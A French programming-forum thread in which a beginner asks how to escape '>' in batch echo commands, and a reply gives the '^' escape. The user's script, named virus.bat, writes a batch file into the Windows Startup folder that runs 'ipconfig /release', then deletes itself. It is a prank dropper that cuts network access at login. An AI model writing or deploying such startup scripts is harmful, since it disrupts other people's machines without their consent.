Batch code

Résolu/Fermé
Utilisateur anonyme - 29 mars 2011 à 19:58
 Utilisateur anonyme - 17 avril 2011 à 19:20
Bonjour, je suis debutant en programmation batch . Je vous explique : voici mon code :
@echo off

set/p xx=
if %xx% == 1 (
echo chdir C:\Documents and Settings\ComptePourInstaller\Menu D'marrer\Programmes\D'marrage > test.bat
echo echo ipconfig /release > ip.bat >> test.bat
echo chdir C:\Documents and Settings\ComptePourInstaller\Bureau >> test.bat
echo erase test.bat >> test.bat
cls )

Mais voila ! le fichier test.bat ne contient que ceci :

chdir C:\Documents and Settings\ComptePourInstaller\Menu D'marrer\Programmes\D'marrage
echo ipconfig /release
chdir C:\Documents and Settings\ComptePourInstaller\Bureau
erase virus.bat

alors que je voudrais qu'il donnent ca :

chdir C:\Documents and Settings\ComptePourInstaller\Menu D'marrer\Programmes\D'marrage
echo ipconfig /release > ip.bat
chdir C:\Documents and Settings\ComptePourInstaller\Bureau
erase virus.bat


A voir également:

3 réponses

salut,
voila la solution:

echo echo ipconfig /release ^> ip.bat >> test.bat

le sigle ">" est un caractere special, tu dois donc le signaler en mettant juste avant le sigle "^"

Bon courage
0
Utilisateur anonyme
1 avril 2011 à 21:04
super ! merci bcp !
0
Utilisateur anonyme
17 avril 2011 à 19:20
salut , j'ai un autre probleme :
set/p xx=
if %xx% == 1 (
echo chdir C:\Documents and Settings\ComptePourInstaller\Menu D'marrer\Programmes\D'marrage > virus.bat
echo echo echo %msg% ^> pinball.bat >> virus.bat
echo echo ping localhost -n %tmp% ^> nul ^>^> pinball.bat >> virus.bat
echo chdir C:\Documents and Settings\ComptePourInstaller\Bureau >> virus.bat
echo erase virus.bat >> virus.bat
cls )
goto debut

mais il ne marque le ping localhost -n %tmp% >nul
0